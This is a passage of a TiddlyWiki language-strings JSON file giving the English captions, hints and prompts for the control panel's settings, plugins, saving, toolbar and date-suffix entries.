        "$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt",
            "text": "Title of new tiddlers"
        },
        "$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt",
            "text": "Number of overridden shadow tiddlers:"
        },
        "$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt",
            "text": "Number of shadow tiddlers:"
        },
        "$:/language/ControlPanel/Basics/Subtitle/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Subtitle/Prompt",
            "text": "Subtitle:"
        },
        "$:/language/ControlPanel/Basics/SystemTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/SystemTiddlers/Prompt",
            "text": "Number of system tiddlers:"
        },
        "$:/language/ControlPanel/Basics/Tags/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Tags/Prompt",
            "text": "Number of tags:"
        },
        "$:/language/ControlPanel/Basics/Tiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Tiddlers/Prompt",
            "text": "Number of tiddlers:"
        },
        "$:/language/ControlPanel/Basics/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Title/Prompt",
            "text": "Title of this ~TiddlyWiki:"
        },
        "$:/language/ControlPanel/Basics/Username/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Username/Prompt",
            "text": "Username for signing edits:"
        },
        "$:/language/ControlPanel/Basics/Version/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Version/Prompt",
            "text": "~TiddlyWiki version:"
        },
        "$:/language/ControlPanel/EditorTypes/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Caption",
            "text": "Editor Types"
        },
        "$:/language/ControlPanel/EditorTypes/Editor/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Editor/Caption",
            "text": "Editor"
        },
        "$:/language/ControlPanel/EditorTypes/Hint": {
            "title": "$:/language/ControlPanel/EditorTypes/Hint",
            "text": "These tiddlers determine which editor is used to edit specific tiddler types."
        },
        "$:/language/ControlPanel/EditorTypes/Type/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Type/Caption",
            "text": "Type"
        },
        "$:/language/ControlPanel/Info/Caption": {
            "title": "$:/language/ControlPanel/Info/Caption",
            "text": "Info"
        },
        "$:/language/ControlPanel/Info/Hint": {
            "title": "$:/language/ControlPanel/Info/Hint",
            "text": "Information about this TiddlyWiki"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt",
            "text": "Type shortcut here"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Add/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Caption",
            "text": "add shortcut"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Caption",
            "text": "Keyboard Shortcuts"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Hint": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Hint",
            "text": "Manage keyboard shortcut assignments"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption",
            "text": "No keyboard shortcuts assigned"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint",
            "text": "remove keyboard shortcut"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/All": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/All",
            "text": "All platforms"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac",
            "text": "Macintosh platform only"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac",
            "text": "Non-Macintosh platforms only"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux",
            "text": "Linux platform only"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux",
            "text": "Non-Linux platforms only"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows",
            "text": "Windows platform only"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows",
            "text": "Non-Windows platforms only"
        },
        "$:/language/ControlPanel/LoadedModules/Caption": {
            "title": "$:/language/ControlPanel/LoadedModules/Caption",
            "text": "Loaded Modules"
        },
        "$:/language/ControlPanel/LoadedModules/Hint": {
            "title": "$:/language/ControlPanel/LoadedModules/Hint",
            "text": "These are the currently loaded tiddler modules linked to their source tiddlers. Any italicised modules lack a source tiddler, typically because they were setup during the boot process."
        },
        "$:/language/ControlPanel/Palette/Caption": {
            "title": "$:/language/ControlPanel/Palette/Caption",
            "text": "Palette"
        },
        "$:/language/ControlPanel/Palette/Editor/Clone/Caption": {
            "title": "$:/language/ControlPanel/Palette/Editor/Clone/Caption",
            "text": "clone"
        },
        "$:/language/ControlPanel/Palette/Editor/Clone/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Editor/Clone/Prompt",
            "text": "It is recommended that you clone this shadow palette before editing it"
        },
        "$:/language/ControlPanel/Palette/Editor/Prompt/Modified": {
            "title": "$:/language/ControlPanel/Palette/Editor/Prompt/Modified",
            "text": "This shadow palette has been modified"
        },
        "$:/language/ControlPanel/Palette/Editor/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Editor/Prompt",
            "text": "Editing"
        },
        "$:/language/ControlPanel/Palette/Editor/Reset/Caption": {
            "title": "$:/language/ControlPanel/Palette/Editor/Reset/Caption",
            "text": "reset"
        },
        "$:/language/ControlPanel/Palette/HideEditor/Caption": {
            "title": "$:/language/ControlPanel/Palette/HideEditor/Caption",
            "text": "hide editor"
        },
        "$:/language/ControlPanel/Palette/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Prompt",
            "text": "Current palette:"
        },
        "$:/language/ControlPanel/Palette/ShowEditor/Caption": {
            "title": "$:/language/ControlPanel/Palette/ShowEditor/Caption",
            "text": "show editor"
        },
        "$:/language/ControlPanel/Parsing/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Caption",
            "text": "Parsing"
        },
        "$:/language/ControlPanel/Parsing/Hint": {
            "title": "$:/language/ControlPanel/Parsing/Hint",
            "text": "Here you can globally disable/enable wiki parser rules. For changes to take effect, save and reload your wiki. Disabling certain parser rules can prevent <$text text=\"TiddlyWiki\"/> from functioning correctly. Use [[safe mode|https://tiddlywiki.com/#SafeMode]] to restore normal operation."
        },
        "$:/language/ControlPanel/Parsing/Block/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Block/Caption",
            "text": "Block Parse Rules"
        },
        "$:/language/ControlPanel/Parsing/Inline/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Inline/Caption",
            "text": "Inline Parse Rules"
        },
        "$:/language/ControlPanel/Parsing/Pragma/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Pragma/Caption",
            "text": "Pragma Parse Rules"
        },
        "$:/language/ControlPanel/Plugins/Add/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Add/Caption",
            "text": "Get more plugins"
        },
        "$:/language/ControlPanel/Plugins/Add/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Add/Hint",
            "text": "Install plugins from the official library"
        },
        "$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint": {
            "title": "$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint",
            "text": "This plugin is already installed at version <$text text=<<installedVersion>>/>"
        },
        "$:/language/ControlPanel/Plugins/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Caption",
            "text": "Plugins"
        },
        "$:/language/ControlPanel/Plugins/Disable/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Disable/Caption",
            "text": "disable"
        },
        "$:/language/ControlPanel/Plugins/Disable/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Disable/Hint",
            "text": "Disable this plugin when reloading page"
        },
        "$:/language/ControlPanel/Plugins/Disabled/Status": {
            "title": "$:/language/ControlPanel/Plugins/Disabled/Status",
            "text": "(disabled)"
        },
        "$:/language/ControlPanel/Plugins/Empty/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Empty/Hint",
            "text": "None"
        },
        "$:/language/ControlPanel/Plugins/Enable/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Enable/Caption",
            "text": "enable"
        },
        "$:/language/ControlPanel/Plugins/Enable/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Enable/Hint",
            "text": "Enable this plugin when reloading page"
        },
        "$:/language/ControlPanel/Plugins/Install/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Install/Caption",
            "text": "install"
        },
        "$:/language/ControlPanel/Plugins/Installed/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Installed/Hint",
            "text": "Currently installed plugins:"
        },
        "$:/language/ControlPanel/Plugins/Languages/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Languages/Caption",
            "text": "Languages"
        },
        "$:/language/ControlPanel/Plugins/Languages/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Languages/Hint",
            "text": "Language pack plugins"
        },
        "$:/language/ControlPanel/Plugins/NoInfoFound/Hint": {
            "title": "$:/language/ControlPanel/Plugins/NoInfoFound/Hint",
            "text": "No ''\"<$text text=<<currentTab>>/>\"'' found"
        },
        "$:/language/ControlPanel/Plugins/NotInstalled/Hint": {
            "title": "$:/language/ControlPanel/Plugins/NotInstalled/Hint",
            "text": "This plugin is not currently installed"
        },
        "$:/language/ControlPanel/Plugins/OpenPluginLibrary": {
            "title": "$:/language/ControlPanel/Plugins/OpenPluginLibrary",
            "text": "open plugin library"
        },
        "$:/language/ControlPanel/Plugins/ClosePluginLibrary": {
            "title": "$:/language/ControlPanel/Plugins/ClosePluginLibrary",
            "text": "close plugin library"
        },
        "$:/language/ControlPanel/Plugins/Plugins/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Plugins/Caption",
            "text": "Plugins"
        },
        "$:/language/ControlPanel/Plugins/Plugins/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Plugins/Hint",
            "text": "Plugins"
        },
        "$:/language/ControlPanel/Plugins/Reinstall/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Reinstall/Caption",
            "text": "reinstall"
        },
        "$:/language/ControlPanel/Plugins/Themes/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Themes/Caption",
            "text": "Themes"
        },
        "$:/language/ControlPanel/Plugins/Themes/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Themes/Hint",
            "text": "Theme plugins"
        },
        "$:/language/ControlPanel/Saving/Caption": {
            "title": "$:/language/ControlPanel/Saving/Caption",
            "text": "Saving"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description",
            "text": "Permit automatic saving for the download saver"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint",
            "text": "Enable Autosave for Download Saver"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/Caption": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/Caption",
            "text": "Download Saver"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/Hint": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/Hint",
            "text": "These settings apply to the HTML5-compatible download saver"
        },
        "$:/language/ControlPanel/Saving/General/Caption": {
            "title": "$:/language/ControlPanel/Saving/General/Caption",
            "text": "General"
        },
        "$:/language/ControlPanel/Saving/General/Hint": {
            "title": "$:/language/ControlPanel/Saving/General/Hint",
            "text": "These settings apply to all the loaded savers"
        },
        "$:/language/ControlPanel/Saving/Hint": {
            "title": "$:/language/ControlPanel/Saving/Hint",
            "text": "Settings used for saving the entire TiddlyWiki as a single file via a saver module"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading",
            "text": "Advanced Settings"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/BackupDir": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/BackupDir",
            "text": "Backup Directory"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Backups": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Backups",
            "text": "Backups"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Caption": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Caption",
            "text": "~TiddlySpot Saver"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Description": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Description",
            "text": "These settings are only used when saving to http://tiddlyspot.com or a compatible remote server"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Filename": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Filename",
            "text": "Upload Filename"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Heading": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Heading",
            "text": "~TiddlySpot"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Hint": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Hint",
            "text": "//The server URL defaults to `http://<wikiname>.tiddlyspot.com/store.cgi` and can be changed to use a custom server address, e.g. `http://example.com/store.php`.//"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Password": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Password",
            "text": "Password"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/ServerURL": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/ServerURL",
            "text": "Server URL"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/UploadDir": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/UploadDir",
            "text": "Upload Directory"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/UserName": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/UserName",
            "text": "Wiki Name"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Caption": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Caption",
            "text": "Autosave"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Disabled/Description": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Disabled/Description",
            "text": "Do not save changes automatically"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Enabled/Description": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Enabled/Description",
            "text": "Save changes automatically"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Hint": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Hint",
            "text": "Attempt to automatically save changes during editing when using a supporting saver"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Caption": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Caption",
            "text": "Camel Case Wiki Links"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Hint": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Hint",
            "text": "You can globally disable automatic linking of ~CamelCase phrases. Requires reload to take effect"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Description": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Description",
            "text": "Enable automatic ~CamelCase linking"
        },
        "$:/language/ControlPanel/Settings/Caption": {
            "title": "$:/language/ControlPanel/Settings/Caption",
            "text": "Settings"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Caption": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Caption",
            "text": "Editor Toolbar"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Hint": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Hint",
            "text": "Enable or disable the editor toolbar:"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Description": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Description",
            "text": "Show editor toolbar"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Caption": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Caption",
            "text": "Tiddler Info Panel Mode"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Hint": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Hint",
            "text": "Control when the tiddler info panel closes:"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description",
            "text": "Tiddler info panel closes automatically"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description",
            "text": "Tiddler info panel stays open until explicitly closed"
        },
        "$:/language/ControlPanel/Settings/Hint": {
            "title": "$:/language/ControlPanel/Settings/Hint",
            "text": "These settings let you customise the behaviour of TiddlyWiki."
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Caption",
            "text": "Navigation Address Bar"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Hint",
            "text": "Behaviour of the browser address bar when navigating to a tiddler:"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description",
            "text": "Do not update the address bar"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description",
            "text": "Include the target tiddler"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description",
            "text": "Include the target tiddler and the current story sequence"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Caption",
            "text": "Navigation History"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Hint",
            "text": "Update browser history when navigating to a tiddler:"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/No/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/No/Description",
            "text": "Do not update history"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description",
            "text": "Update history"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption",
            "text": "Permalink/permaview Mode"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint",
            "text": "Choose how permalink/permaview is handled:"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description",
            "text": "Copy permalink/permaview URL to clipboard"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description",
            "text": "Update address bar with permalink/permaview URL"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption",
            "text": "Performance Instrumentation"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint",
            "text": "Displays performance statistics in the browser developer console. Requires reload to take effect"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description",
            "text": "Enable performance instrumentation"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption",
            "text": "Toolbar Button Style"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint",
            "text": "Choose the style for toolbar buttons:"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless",
            "text": "Borderless"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed",
            "text": "Boxed"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded",
            "text": "Rounded"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Caption": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Caption",
            "text": "Toolbar Buttons"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Hint": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Hint",
            "text": "Default toolbar button appearance:"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description",
            "text": "Include icon"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description",
            "text": "Include text"
        },
        "$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption": {
            "title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption",
            "text": "Default Sidebar Tab"
        },
        "$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint": {
            "title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint",
            "text": "Specify which sidebar tab is displayed by default"
        },
        "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption": {
            "title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption",
            "text": "Default More Sidebar Tab"
        },
        "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint": {
            "title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint",
            "text": "Specify which More sidebar tab is displayed by default"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/Caption": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/Caption",
            "text": "Tiddler Opening Behaviour"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint",
            "text": "Navigation from //within// the story river"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint",
            "text": "Navigation from //outside// the story river"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove",
            "text": "Open above the current tiddler"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow",
            "text": "Open below the current tiddler"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop",
            "text": "Open at the top of the story river"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom",
            "text": "Open at the bottom of the story river"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Caption": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Caption",
            "text": "Tiddler Titles"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Hint": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Hint",
            "text": "Optionally display tiddler titles as links"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/No/Description": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/No/Description",
            "text": "Do not display tiddler titles as links"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Yes/Description": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Yes/Description",
            "text": "Display tiddler titles as links"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Caption": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Caption",
            "text": "Wiki Links"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Hint": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Hint",
            "text": "Choose whether to link to tiddlers that do not exist yet"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Description": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Description",
            "text": "Enable links to missing tiddlers"
        },
        "$:/language/ControlPanel/StoryView/Caption": {
            "title": "$:/language/ControlPanel/StoryView/Caption",
            "text": "Story View"
        },
        "$:/language/ControlPanel/StoryView/Prompt": {
            "title": "$:/language/ControlPanel/StoryView/Prompt",
            "text": "Current view:"
        },
        "$:/language/ControlPanel/Stylesheets/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Caption",
            "text": "Stylesheets"
        },
        "$:/language/ControlPanel/Stylesheets/Expand/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Expand/Caption",
            "text": "Expand All"
        },
        "$:/language/ControlPanel/Stylesheets/Hint": {
            "title": "$:/language/ControlPanel/Stylesheets/Hint",
            "text": "This is the rendered CSS of the current stylesheet tiddlers tagged with <<tag \"$:/tags/Stylesheet\">>"
        },
        "$:/language/ControlPanel/Stylesheets/Restore/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Restore/Caption",
            "text": "Restore"
        },
        "$:/language/ControlPanel/Theme/Caption": {
            "title": "$:/language/ControlPanel/Theme/Caption",
            "text": "Theme"
        },
        "$:/language/ControlPanel/Theme/Prompt": {
            "title": "$:/language/ControlPanel/Theme/Prompt",
            "text": "Current theme:"
        },
        "$:/language/ControlPanel/TiddlerFields/Caption": {
            "title": "$:/language/ControlPanel/TiddlerFields/Caption",
            "text": "Tiddler Fields"
        },
        "$:/language/ControlPanel/TiddlerFields/Hint": {
            "title": "$:/language/ControlPanel/TiddlerFields/Hint",
            "text": "This is the full set of TiddlerFields in use in this wiki (including system tiddlers but excluding shadow tiddlers)."
        },
        "$:/language/ControlPanel/Toolbars/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/Caption",
            "text": "Toolbars"
        },
        "$:/language/ControlPanel/Toolbars/EditToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/EditToolbar/Caption",
            "text": "Edit Toolbar"
        },
        "$:/language/ControlPanel/Toolbars/EditToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/EditToolbar/Hint",
            "text": "Choose which buttons are displayed for tiddlers in edit mode. Drag and drop to change the ordering"
        },
        "$:/language/ControlPanel/Toolbars/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/Hint",
            "text": "Select which toolbar buttons are displayed"
        },
        "$:/language/ControlPanel/Toolbars/PageControls/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/PageControls/Caption",
            "text": "Page Toolbar"
        },
        "$:/language/ControlPanel/Toolbars/PageControls/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/PageControls/Hint",
            "text": "Choose which buttons are displayed on the main page toolbar. Drag and drop to change the ordering"
        },
        "$:/language/ControlPanel/Toolbars/EditorToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Caption",
            "text": "Editor Toolbar"
        },
        "$:/language/ControlPanel/Toolbars/EditorToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Hint",
            "text": "Choose which buttons are displayed in the editor toolbar. Note that some buttons will only appear when editing tiddlers of a certain type. Drag and drop to change the ordering"
        },
        "$:/language/ControlPanel/Toolbars/ViewToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Caption",
            "text": "View Toolbar"
        },
        "$:/language/ControlPanel/Toolbars/ViewToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Hint",
            "text": "Choose which buttons are displayed for tiddlers in view mode. Drag and drop to change the ordering"
        },
        "$:/language/ControlPanel/Tools/Download/Full/Caption": {
            "title": "$:/language/ControlPanel/Tools/Download/Full/Caption",
            "text": "Download full wiki"
        },
        "$:/language/Date/DaySuffix/1": {
            "title": "$:/language/Date/DaySuffix/1",
            "text": "st"
        },
        "$:/language/Date/DaySuffix/2": {
            "title": "$:/language/Date/DaySuffix/2",
            "text": "nd"
        },
        "$:/language/Date/DaySuffix/3": {
            "title": "$:/language/Date/DaySuffix/3",
            "text": "rd"
        },
        "$:/language/Date/DaySuffix/4": {
            "title": "$:/language/Date/DaySuffix/4",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/5": {
            "title": "$:/language/Date/DaySuffix/5",
            "text": "th"
        },
